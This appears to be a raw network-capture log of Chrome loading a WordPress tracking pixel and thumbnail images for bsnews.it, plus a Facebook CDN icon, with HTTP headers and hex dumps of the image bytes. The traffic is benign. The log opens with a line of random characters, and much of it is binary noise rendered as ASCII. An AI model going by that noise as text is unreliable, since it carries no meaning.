xBCqxZR)>n;'_v9G}J8Zm.#JlR0[}<n:TEnD@sKU><X5bUr'.mVq:H*LtGGynH(Y)kZb-c$las"""8pX[gG4cqmx-OND]Ul

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.4	49847	192.0.76.3	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:08 UTC	687	OUT	GET /g.gif?v=ext&blog=123231640&post=95325&tz=1&srv=bsnews.it&j=1%3A13.2.2&host=bsnews.it&ref=&fcp=4370&rand=0.5387852691627564 HTTP/1.1 Host: pixel.wp.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:08 UTC	222	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:08 GMT Content-Type: image/gif Content-Length: 50 Connection: close Cache-Control: no-cache Access-Control-Allow-Origin: * Alt-Svc: h3=":443"; ma=86400
2024-03-28 08:51:08 UTC	50	IN	Data Raw: 47 49 46 38 39 61 06 00 05 00 80 01 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 06 00 05 00 00 02 09 0c 62 78 89 cd 6a 80 0c 05 00 3b Data Ascii: GIF89a!,bxj;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.4	49857	192.0.77.2	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:08 UTC	636	OUT	GET /bsnews.it/wp-content/uploads/2024/03/bsnews-9-4.jpg?resize=324%2C160&ssl=1 HTTP/1.1 Host: i0.wp.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:08 UTC	568	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:08 GMT Content-Type: image/webp Content-Length: 9660 Connection: close Last-Modified: Wed, 27 Mar 2024 07:52:00 GMT Expires: Fri, 27 Mar 2026 19:52:00 GMT Cache-Control: public, max-age=63115200 Link: <https://bsnews.it/wp-content/uploads/2024/03/bsnews-9-4.jpg>; rel="canonical" X-Content-Type-Options: nosniff ETag: "d759217abc53e000" Vary: Accept X-nc: HIT dca 6 Alt-Svc: h3=":443"; ma=86400 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Timing-Allow-Origin: *
2024-03-28 08:51:08 UTC	801	IN	Data Raw: 52 49 46 46 b4 25 00 00 57 45 42 50 56 50 38 20 a8 25 00 00 b0 93 00 9d 01 2a 44 01 a0 00 3e 6d 2e 92 45 a4 22 a1 96 2a c6 78 40 06 c4 a0 0c ea e7 95 b1 f6 03 cb af 99 e7 85 cb 7e 2a fc 93 52 7b ee bb f7 36 7b 1b fa 4a f1 59 f5 05 ea 67 cd ef ee 37 ac 57 9d 4f a8 6f f5 ef f5 5d 73 1e 87 3d 32 bf b9 de 96 f9 89 fe 73 bc 31 fd e7 82 3f 9c 7d a7 c1 9b 10 76 91 d9 1f fb 5e fa 7e 5c 6a 11 89 5d ab 9b d7 99 7e 0a ff 9b e7 f7 f1 1a e5 74 02 fd 55 eb 01 df d7 f6 bf 51 5e 98 2d 70 9b 2d 72 ae 4d e0 94 42 ff 8f f1 1c 2c 82 77 8f 5e c4 11 90 24 a5 30 36 50 55 45 08 c1 9d 79 ce 7b 4a b3 9e 80 b7 1b 3a b6 87 6f 35 d8 7b 3b 5d bd 49 6b c5 67 7d 6b c2 0d 49 5b c5 97 6a 05 dd c5 bf ba b7 af ed a6 d5 de 18 7d c5 e5 ba de d5 27 82 8c 56 8d b9 be 5f 6c 0d ba fe a2 c6 cc a2 Data Ascii: RIFF%WEBPVP8 %D>m.E"x@~*R{6{JYg7WOo]s=2s1?}v^~\j]~tUQ^-p-rMB,w^$06PUEy{J:o5{;]Ikg}kI[j}'V_l
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 32 83 db 76 73 6b 48 3e ce 8d d9 84 4d 12 19 c8 dd e8 16 66 00 fc c3 be 9b 54 40 1f fe 14 d4 c0 b0 4c 00 04 3f 61 70 33 f3 7a 63 61 c0 59 26 c5 20 ba 3a 9f 21 7a 40 95 8c 21 17 49 9c 4d 05 7f 7f 3a 24 ae 58 88 c6 1c 3a 5f fc 79 11 9f 85 69 f1 c5 9c ee a2 19 2a 6f c3 4f 6a e6 c1 c9 c8 c1 95 10 7f 0d 3a 6d e2 96 c3 10 9e 38 35 7d e7 1a 12 2d 72 ca d6 45 61 d2 7c 1b f7 68 bb 3f a1 82 52 c9 13 29 d9 e8 ed 60 ed b4 cf 4f a4 0f 12 84 52 4f 7e d7 b8 62 16 99 9d cf 10 a4 60 5e 49 3e bc fe fd 8e 06 98 f3 fb 57 01 6a 15 4d c4 21 a4 5c 25 17 15 3f 0d e2 5d 74 fe b7 33 73 10 75 d5 c4 3d 06 72 b5 2f 0c 59 40 b1 ac 23 08 4b 8c e9 85 2f 4e 50 04 1b 61 9e 2b 44 3b 6b 6d ce be d4 c3 fd 3e 9e b8 55 1b 24 68 80 fa fb e2 82 82 8d d3 90 cb 55 e3 05 56 37 9a 07 3c a3 2e 4d 6d Data Ascii: 2vskH>MfT@L?ap3zcaY& :!z@!IM:$X:_yi*oOj:m85}-rEa\|h?R)`ORO~b`^I>WjM!\%?]t3su=r/Y@#K/NPa+D;km>U$hUV7<.Mm
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 38 fd 56 d8 50 65 e6 11 54 c5 99 b2 a8 cb 00 8f 42 cd 7b 05 b2 d0 60 06 b7 f8 aa 13 d6 d1 9e fc b8 f4 a6 5f 30 50 22 34 33 eb 64 49 08 95 f2 86 a1 e2 ad 37 9a 79 36 33 85 c8 d1 4a e5 7a 1e d3 7d d0 16 06 05 7a 12 ba d6 55 de 5f 6e bf 91 84 fb b4 28 32 2c c5 e4 ec ec 00 71 c1 23 19 26 60 d3 77 0a de a9 3c be 55 62 77 81 fb 68 a8 c1 da 02 9d e9 8b f6 5c ed a5 db 9a eb 75 9d 12 27 04 ff d6 e0 b1 66 d4 26 3a b6 82 a0 2a 1e c7 8f 04 e4 43 b2 df 44 54 f1 27 18 86 de b7 31 39 3b 69 3e 5a 2d bd 90 0f 55 0d 63 6f 2b eb 03 dd 47 7d 5c dc cc 8d 25 a4 bb df 08 4b cf 6c 1a 20 9f a2 01 b5 37 e2 50 c3 ec b9 1b c9 61 7c 28 7b a1 47 f6 c3 f5 32 bd 2f b6 4f a9 b1 47 ed b2 87 20 fa 22 89 c0 34 23 62 28 24 d3 fa dd c9 f2 8c 4a 40 ca 7c 6e 07 c1 30 6e d0 7b bc 72 f0 c3 b8 29 Data Ascii: 8VPeTB{`_0P"43dI7y63Jz}zU_n(2,q#&`w<Ubwh\u'f&:*CDT'19;i>Z-Uco+G}\%Kl 7Pa\|({G2/OG "4#b($J@\|n0n{r)
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 63 fe 79 55 ea e0 94 09 2d 47 99 be c4 d9 49 24 f0 29 0d 47 aa 6d 85 d1 26 94 20 5d 06 f4 f9 5f cc 7e 24 42 e9 1d 05 3c 48 67 15 46 09 1b d1 b5 eb 8a 45 81 fe c8 59 c1 3e c2 91 00 af 4a 83 98 9c c9 43 75 06 3b 11 8e d1 bf 24 8a 16 74 f0 c2 f8 c6 8d e3 1e 80 91 29 80 30 85 35 b9 5a 7c 48 cc 17 88 2b da 08 e9 c8 ab be 3e f2 4e bc e1 2f 98 89 9b 4c 3a 0d 19 78 ac d1 b4 74 89 0c 17 5c bb eb 6d f1 85 40 91 97 c4 9f 90 45 ca 6a 33 bc f3 1e bc ea fc 80 7c 8b ee c0 ed e5 c8 34 03 9c 95 de 41 49 de 8d 5e 36 fc 36 50 fc 44 cd c3 c7 e5 a0 9b 47 6a 77 01 c3 cd 5d 58 4f a2 31 d0 f0 66 68 8d 5f 44 62 15 c0 4d 37 4c 83 ab c8 c0 a4 0d 29 ec 59 bc bd f4 04 22 d6 24 12 7a c3 62 83 cd cf 36 20 13 8b f6 f6 14 0f a3 c5 88 88 e6 1d 10 51 74 80 d3 6a cb 0a 28 bd fd 22 f0 bb ca Data Ascii: cyU-GI$)Gm& ]_~$B<HgFEY>JCu;$t)05Z\|H+>N/L:xt\m@Ej3\|4AI^66PDGjw]XO1fh_DbM7L)Y"$zb6 Qtj("
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 6e 90 a2 de 46 5a 08 f7 0a 09 8e 5b e1 6d d8 f2 5e f8 44 78 10 9c 66 48 40 7d bb ae 62 16 2c 91 50 d0 6e b0 9f c1 8b 9d 97 75 c8 b5 d7 3f b0 39 68 1c db 1d 6a f4 d3 61 86 30 3e 1e c0 de ff 44 24 ab 4a 6b d5 33 7a 45 62 5c 28 35 fc 80 b2 12 b2 4c 7e a4 02 88 b7 94 29 d4 7e 3b dc 79 ff 71 8b 3f b4 6b 03 1b 84 d8 67 9e 15 26 9d 58 3c 46 a1 68 77 10 52 81 3f 8a 18 b0 1f 44 4d f5 51 2a 4a 69 97 e9 58 67 44 5e 28 de e7 ad 80 6d 56 02 5f bd 8f 80 5a 8c b7 68 bb 29 a0 3e 3e 2a 90 16 80 d4 8e e5 b8 c9 d4 0e 88 f3 f5 08 db 11 1a 7d 75 79 44 5f 70 21 38 d4 dc 59 9b 50 ca b7 5f 79 04 cb 1c d1 9d 28 03 c6 0a 45 aa c0 52 62 41 87 d4 f0 1d 73 c8 ae 0a c0 65 1e 53 c7 aa 18 8b a2 66 d0 3d be bc 27 d1 fe f8 fa 01 bc 87 fe 09 6b 95 9b ae 52 74 11 cf f9 36 04 58 f4 b7 ea ec Data Ascii: nFZ[m^DxfH@}b,Pnu?9hja0>D$Jk3zEb\(5L~)~;yq?kg&X<FhwR?DMQJiXgD^(mV_Zh)>>}uyD_p!8YP_y(ERbAseSf='kRt6X
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 53 01 a0 43 91 0d 01 72 4e b3 3e fe 09 d4 94 c4 e1 ff f8 e6 c6 8b 77 c0 ba 15 6a 3b b2 0c e9 f8 56 dc e7 a6 91 a4 fb fc 3a dd 7a ae 46 ec 4f af 39 f0 b3 58 8e 62 d4 4a 99 df 32 01 7c 8b 58 58 97 62 97 42 1c da 1e d3 30 56 cb fc dc 1c 23 b5 7f 52 b1 a4 ce 56 a8 96 43 7c e6 10 0a 62 9a f5 0e e0 05 21 c4 aa e8 87 6f d2 5e 7a d2 64 5a 67 2a 4e ea e0 a0 ab d7 f0 8b 47 02 6e b2 bf 34 38 29 da 0e b8 c0 42 06 28 6c db 9e e7 1f 64 74 85 c6 e6 5b 11 45 5d a6 ae 2c 0e 6f 31 d3 3b 1f ad 46 07 cf ac ae 87 b7 85 92 70 0c 0a de da 16 f5 50 50 27 2c c0 ab e6 2a 7d bd e6 85 68 47 d7 38 1a 0c 11 c5 80 75 80 fd f5 f4 47 77 67 68 67 92 85 c8 57 a0 ef cc 4d e6 a9 86 36 34 72 5d 01 49 98 e6 78 9d 64 ce 1c 76 b2 58 d5 54 71 88 cc b5 ff 7e be 7f 4c 83 e3 ef c4 f6 47 f6 fe 2d 6e Data Ascii: SCrN>wj;V:zFO9XbJ2\|XXbB0V#RVC\|b!o^zdZgNGn48)B(ldt[E],o1;FpPP',}hG8uGwghgWM64r]IxdvXTq~LG-n
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 96 bd 5e d1 ca 9a db 85 33 db e6 e4 fd eb c7 4f d4 5a 80 65 4a ca 8e 60 6c cc 62 17 b3 52 71 84 69 2f db f4 d6 34 a5 50 73 41 be 22 85 b2 96 81 33 49 b2 f0 e5 76 7f 9c 7e c6 35 d1 1f 5c d5 f2 e2 aa a8 dc 1f a7 d6 77 e3 69 31 00 63 ef ed 5c b9 e3 57 d2 81 d4 94 5f 6e 18 5f c9 21 f3 0b 28 30 07 70 93 24 74 53 76 ef e9 be 67 aa 25 a1 55 cd 86 b1 48 d9 8d bd bd 58 77 11 54 bb 8d d8 ae ad 47 29 19 c4 67 f5 4b bf 8e 31 9b a2 1a 5d cd cf 87 22 87 4b 36 15 f7 6b fc e4 19 eb 9a 0d 68 07 a0 5a 54 42 8e b5 c5 44 c7 10 d6 4f ee 22 3c ef a6 af 9d 77 76 f7 e3 ad 46 9d 11 69 33 cd b1 60 a8 43 12 6d a1 1c 22 be 4f 42 43 d2 24 bd c4 fe bc b4 33 62 49 85 d8 fa 11 a4 2a be f0 29 50 9b 7d 28 a1 79 1a 43 ad 6e fd 36 54 8b 9e 93 de 52 87 b4 d1 46 b8 be 23 65 c7 a2 5f 50 34 60 Data Ascii: ^3OZeJ`lbRqi/4PsA"3Iv~5\wi1c\W_n_!(0p$tSvg%UHXwTG)gK1]"K6khZTBDO"<wvFi3`Cm"OBC$3bI*)P}(yCn6TRF#e_P4`
2024-03-28 08:51:08 UTC	645	IN	Data Raw: 8c 21 f9 59 97 67 22 93 b7 a6 b5 07 17 a4 c6 0f 17 10 5b 0e c8 f7 27 70 61 0e e9 7e 6c 36 82 79 d6 f6 05 cf b3 38 55 a0 28 e9 22 6a 69 21 2c ad 09 ed 93 3e 8f d9 b8 9a 75 b9 36 57 35 67 9e 40 a5 63 62 3e 05 94 f1 8c 01 b2 03 72 e2 6a c6 2a df 0e d4 3d 6a 25 cd 28 9d 7e e3 a4 1d 87 9e 43 a5 fb b1 ab 24 d7 ca cc c9 ae 5d 84 3b 33 a1 97 ac 30 a9 04 81 a9 3c 36 f9 4e 4d 48 7a d9 f3 7a e4 a6 3e be 99 84 97 8c bc 0d 1c a6 65 54 0f 37 d9 73 0f 80 88 59 7b 16 dc c0 09 64 3f be 5a 06 6a c1 57 8c b2 57 bf bd 70 e2 e1 76 24 f5 44 fb f4 ef f5 aa e3 3b 5d 79 ce 57 d8 25 f4 d3 e4 81 53 2e 86 51 ff 88 ae df e3 77 9c c4 0a 09 0f 94 2a a1 08 ad ec e4 36 1c f7 5f a8 a5 41 2c ec ed d1 26 d2 90 e2 fc 81 76 be c1 be 13 ad c6 c4 cd 3c 20 0b d2 52 a3 1d b4 11 1c 12 7c 41 a2 34 Data Ascii: !Yg"['pa~l6y8U("ji!,>u6W5g@cb>rj=j%(~C$];30<6NMHzz>eT7sY{d?ZjWWpv$D;]yW%S.Qw6_A,&v< R\|A4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.4	49866	157.240.229.1	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:08 UTC	375	OUT	GET /rsrc.php/v3/yD/r/FEppCFCt76d.png HTTP/1.1 Host: static.xx.fbcdn.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:08 UTC	1568	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT content-md5: OIlAxCmR79nrM/Ez4ygGlg== Expires: Sat, 22 Mar 2025 11:44:02 GMT Cache-Control: public,max-age=31536000,immutable reporting-endpoints: permissions_policy="https://www.xx.facebook.com/ajax/browser_error_reports/" timing-allow-origin: * document-policy: force-load-at-top permissions-policy: accelerometer=(), ambient-light-sensor=(), autoplay=(), bluetooth=(), camera=(), ch-device-memory=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), clipboard-read=(), clipboard-write=(), display-capture=(), encrypted-media=(), fullscreen=(self), gamepad=(), geolocation=(), gyroscope=(), hid=(), idle-detection=(), keyboard-map=(), local-fonts=(), magnetometer=(), microphone=(), midi=(), otp-credentials=(), payment=(), picture-in-picture=(), publickey-credentials-get=(), screen-wake-lock=(), serial=(), usb=(), window-management=(), xr-spatial-tracking=();report-to="permissions_policy" cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff report-to: {"max_age":21600,"endpoints":[{"url":"https:\/\/www.xx.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"} X-FB-Debug: th9E4kxuVDrJth8EK7NtiLRoB5VUKgGAAhAa+e9tz1/bkDVgHjQKU9kjjbs+VQAkQqeGgask7IHrMwPWKZnckQ== Date: Thu, 28 Mar 2024 08:51:08 GMT X-FB-Connection-Quality: GOOD; q=0.7, rtt=94, rtx=0, c=14, mss=1274, tbw=3414, tp=-1, tpl=-1, uplat=0, ullat=-1 Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 299
2024-03-28 08:51:08 UTC	1	IN	Data Raw: 89 Data Ascii:
2024-03-28 08:51:08 UTC	298	IN	Data Raw: 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 10 00 00 00 10 08 03 00 00 00 28 2d 0f 53 00 00 00 60 50 4c 54 45 00 00 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 7c 25 1c ba 00 00 00 1f 74 52 4e 53 00 f0 fc 01 fe 21 c5 5c 34 f5 e1 fa e6 76 ab 1b 32 a8 f8 e8 29 14 d9 ee a0 fb 7e de fd eb 1e 43 49 7d 1d 00 00 00 5b 49 44 41 54 78 da 95 cd 47 0a c0 30 0c 44 51 b9 a5 f7 de e7 fe b7 0c 8e b1 b1 03 59 64 76 ff 21 10 7d 2f 6a c3 16 39 c6 00 62 40 f9 9d a4 c8 84 d7 75 01 94 e4 ad c2 b3 b9 d1 c1 c0 a8 33 d0 0f 1a 00 90 34 Data Ascii: PNGIHDR(-S`PLTE\|%tRNS!\4v2)~CI}[IDATxG0DQYdv!}/j9b@u34

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.4	49854	192.0.77.2	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:08 UTC	647	OUT	GET /bsnews.it/wp-content/uploads/2023/01/cemetery-3799038_1920.jpg?resize=324%2C160&ssl=1 HTTP/1.1 Host: i0.wp.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:08 UTC	580	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:08 GMT Content-Type: image/webp Content-Length: 10554 Connection: close Last-Modified: Wed, 27 Mar 2024 07:52:00 GMT Expires: Fri, 27 Mar 2026 19:52:00 GMT Cache-Control: public, max-age=63115200 Link: <https://bsnews.it/wp-content/uploads/2023/01/cemetery-3799038_1920.jpg>; rel="canonical" X-Content-Type-Options: nosniff ETag: "1d7f9b69eebdc109" Vary: Accept X-nc: HIT dca 1 Alt-Svc: h3=":443"; ma=86400 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Timing-Allow-Origin: *
2024-03-28 08:51:08 UTC	789	IN	Data Raw: 52 49 46 46 32 29 00 00 57 45 42 50 56 50 38 20 26 29 00 00 d0 9e 00 9d 01 2a 44 01 a0 00 3e 6d 2e 92 47 24 22 21 a1 2b 35 eb a8 80 0d 89 63 68 b6 58 9e 89 b5 c7 dd a4 7a f3 0f 96 11 eb c3 d7 b9 73 77 f8 2e f6 de 94 f7 14 ff 6b f4 59 e7 45 ea 07 fc 6f a3 a7 54 7e f4 47 f7 4b 53 ae 59 62 8f a7 bf b4 c8 ba e2 7b 23 7f 73 e0 4f cf dd 47 7d c9 e7 ef 0e 27 13 60 2f 88 1f be f4 19 e1 a9 40 df 28 8e fd 3f b8 fa 87 f4 cb f4 8f 64 2e e8 35 90 9f 5c b5 40 f7 4b 8f 95 2b c8 b1 8c 3a ac 97 94 9f 0e 0c 1a 9e ce 88 43 3a 21 77 17 ba 9c 4d 37 a1 a9 12 54 fd 48 77 c1 56 83 8b 83 06 1a 03 f8 79 90 41 96 e1 03 49 9a 27 91 31 31 5b 86 ee 84 13 f1 23 94 71 f7 0b 08 4b 63 9b 9e 99 ac bd c8 6f 45 9c cf 54 17 d3 76 b4 5a 3b ff 8d eb a9 44 67 e5 29 a6 64 4d de 6f 43 20 76 70 3f Data Ascii: RIFF2)WEBPVP8 &)*D>m.G$"!+5chXzsw.kYEoT~GKSYb{#sOG}'`/@(?d.5\@K+:C:!wM7THwVyAI'11[#qKcoETvZ;Dg)dMoC vp?
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: a7 26 db d1 f6 94 ca e6 55 cd ff a8 12 6b 4b 56 a7 41 9f 75 4b 83 ea 8b 93 46 db 4d 11 41 9a e1 fd 99 84 42 87 2f cc a1 53 76 a6 f4 32 49 52 46 fe 9b 41 cf c1 c4 ee b4 cf 7a ad 87 4f bc 22 17 ed 33 d3 a7 b6 83 ab 65 62 89 dd 17 67 3f 00 55 2f 80 00 36 29 5a 0c ab 28 d1 dc 4c 58 15 61 bb 42 6d 43 2e 23 bb 22 21 9e 05 0b 81 30 41 ba 6d 8a 04 9d 55 a2 f4 38 dd c0 1a 58 61 bf 7a 15 86 66 49 15 6a f6 8c f3 6e 2f 83 c4 77 f2 a2 0d be 89 a5 b2 a9 57 f0 26 ef 52 c2 5b cc 91 dc e8 bf f9 04 e8 28 7f c0 7d 43 eb 62 f9 4f b2 6d 94 59 5c ca 4d ab 22 98 15 b0 b6 c8 15 9e 20 8a d7 9d 28 ec 11 86 9c 53 5c 31 1d a4 4b 7b ba 7b 10 18 db af e0 aa bd ae 83 79 a1 a4 d9 dc 53 62 1a b0 c0 f6 3b 44 b6 f6 f7 6d 55 43 4e 8a e5 3b 74 5c 1e 64 07 69 5a c7 a7 1f 9e 2a 5a 5b 43 c4 66 Data Ascii: &UkKVAuKFMAB/Sv2IRFAzO"3ebg?U/6)Z(LXaBmC.#"!0AmU8XazfIjn/wW&R[(}CbOmY\M" (S\1K{{ySb;DmUCN;t\diZ*Z[Cf
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 3d be 8b 78 9d 9a 46 d5 7d 87 61 c2 ba ef 2c fb d4 f4 2f 8d 70 b3 41 b2 c2 7c 0d af c2 88 b4 7e 8b 0c ec 49 30 7b 94 05 f4 3e dd a7 b8 ca e8 1a ea 8b 06 bc f8 34 75 6c f6 26 f5 c1 61 af 96 8d fd 4e 69 11 d8 3e a5 1f a9 45 59 03 65 12 68 43 6f a4 9a e2 42 64 0f 37 8d c7 1e b0 3f 5b a9 85 84 44 e5 4c 04 14 43 e4 bc 84 97 47 4e e6 2f 07 4c 37 df 14 23 78 7a 9c ea b0 e5 82 a2 ef c0 cb e7 d4 15 76 c1 8b 57 a4 3c 7d 67 f8 04 bb e7 79 ee 14 8c d5 51 c8 c1 ac 50 3a 48 ac 3e a2 d5 3f 47 a6 23 43 0b 5f 1a ae 5e 15 c7 f2 ae 20 b9 a0 b1 c8 72 7a 65 f8 87 cb 15 6d d9 4c d1 e7 79 87 f4 aa 59 c3 5e a0 7f c9 02 44 96 5b ed c6 95 33 2e f4 0b f9 32 18 80 d8 ed fa 53 fe 23 a7 75 f0 92 01 82 62 51 5a 7f 8a 18 1f aa 4b 89 71 65 05 54 1c c7 cf f6 2b ad b9 69 f6 62 51 86 30 c9 Data Ascii: =xF}a,/pA\|~I0{>4ul&aNi>EYehCoBd7?[DLCGN/L7#xzvW<}gyQP:H>?G#C_^ rzemLyY^D[3.2S#ubQZKqeT+ibQ0
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 9f 4b 86 1a c2 68 ee 09 81 b9 72 b9 8c f1 0d 56 da 21 1b f5 3f a6 25 71 29 e2 ea c3 c8 9f ff d3 c2 f1 ba af ea 6c 69 1d d4 68 95 4d be 0b 2d e7 8e c4 e4 5b d5 09 84 39 ba ac 71 9c 15 7c c3 c8 21 51 10 65 67 67 f5 3a 9a 08 17 e5 73 82 1d ce b6 bf 44 d0 08 54 cf 25 dc ed 3e 2b cd 7d f4 4c a5 5a 7d b8 8d b6 49 53 f1 e8 19 ce 68 e0 8f 7d 43 2d 8a 4d 9c ec 65 ac dc 0a 89 0b 39 ba 80 ae f0 d0 b5 d7 cb 08 e4 64 1c ad 2d 2b ee 05 f7 63 25 e3 b6 55 59 d1 c9 3f a0 a9 91 d8 3e 69 14 33 a4 45 45 21 cf c1 02 ba b0 21 34 95 93 75 2c 67 ac ae 6f 14 72 88 d1 ba 6f db 76 7b 9f 71 68 3f 06 5e 94 d4 11 e0 fa e0 47 73 40 70 8b 56 40 67 d2 f5 f3 04 17 10 bb 5a 7c 79 a2 a6 40 35 fc cc 3c e0 7e b8 2d c9 ba 4b 48 40 46 02 67 d6 48 f6 67 ef be c8 f3 e9 9f d7 34 6c 17 1a 02 52 6b Data Ascii: KhrV!?%q)lihM-[9q\|!Qegg:sDT%>+}LZ}ISh}C-Me9d-+c%UY?>i3EE!!4u,gorov{qh?^Gs@pV@gZ\|y@5<~-KH@FgHg4lRk
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: 93 d8 2d 91 60 d8 91 a8 8b a0 01 fd 3e 02 4c 9a cd 09 b2 f7 4b 43 51 20 8b b8 4d 2d 6c 21 37 32 65 9e 78 ee 24 11 5f ed 31 5c 30 5f 32 85 3b c5 f2 62 f4 f5 f5 d2 bf 16 4e a2 55 72 57 0f 90 d3 64 55 59 a4 7d 6a dd cb 10 f2 8c 86 06 76 6a 43 b2 97 dc d1 78 04 dd 9e 46 68 3b 6f d7 3f 3d ee 6e 4a 5d 89 6f 56 3a 54 96 bc 23 96 72 b0 c6 e6 2e dd cd 11 c2 e5 f3 91 19 ef 64 4c 64 96 17 5b a9 a4 a4 2f fc 58 85 91 2b c6 41 53 1e a8 c3 cf 3d b4 3b 02 33 f7 ed 00 9e 16 ed c1 53 d5 81 79 1c 0c e5 77 26 dd 01 ac d3 de c9 00 f1 d8 80 1e 29 62 2d d5 ba c8 7f d2 74 14 7b f9 ff 44 40 5f dd dc 76 57 e6 9c 30 ec f7 74 ff f7 e1 d5 e3 d6 95 9d 9a a9 13 f9 bc aa 36 c1 9f 25 2c d7 76 2d dd e3 22 d9 d3 08 91 6c bb f7 44 a8 64 1d ec 5a 45 e0 65 05 bc 60 10 44 2e d4 b1 99 33 cc d9 Data Ascii: -`>LKCQ M-l!72ex$_1\0_2;bNUrWdUY}jvjCxFh;o?=nJ]oV:T#r.dLd[/X+AS=;3Syw&)b-t{D@_vW0t6%,v-"lDdZEe`D.3
2024-03-28 08:51:08 UTC	1369	IN	Data Raw: e4 4d 87 73 24 08 04 ff 86 75 bb e6 66 f0 7a ea 9d 70 23 e9 bb 61 e6 40 1b 51 b4 7f 74 81 c9 6f 83 df f0 f5 e5 51 97 e4 76 96 27 8c fc 3b 98 88 8b bb 4c 7a 58 f4 b2 1f 8e 01 36 80 a5 14 98 1e 88 bc c2 c0 99 d3 e4 44 53 69 9d 6a af 68 1e f1 60 a4 5c 3c f0 26 7f 8c 7d 7a 66 f0 b8 6f fb d3 fd 76 0d f6 bd 21 a9 a9 bf 2f 9a 58 fe c6 02 61 a7 1c d9 ec af a2 7e 40 55 95 89 da 87 aa 58 7d e2 58 75 db f5 ef 5e 46 83 04 63 56 27 2b 9d 3c 19 f6 5a 66 87 f8 d9 6d 89 02 3f 98 30 c5 69 46 da 3f 4f 94 1e 81 eb 1e 05 44 5d 57 b1 44 4a 31 d6 83 61 4d 5b 77 e8 b4 7d 38 5c c4 3a 18 41 1a 5b c2 f8 a3 ee a4 1d b0 82 f9 3c 42 48 dd a5 1f 81 ab f2 76 cf 07 1c cb c4 a2 3c 83 34 44 ec 2d 6a b9 5b 57 87 e7 43 eb 2b 69 8a aa 66 d0 15 ba 42 0f fc 41 f6 fc 9b 39 c4 29 79 13 7c 80 14 Data Ascii: 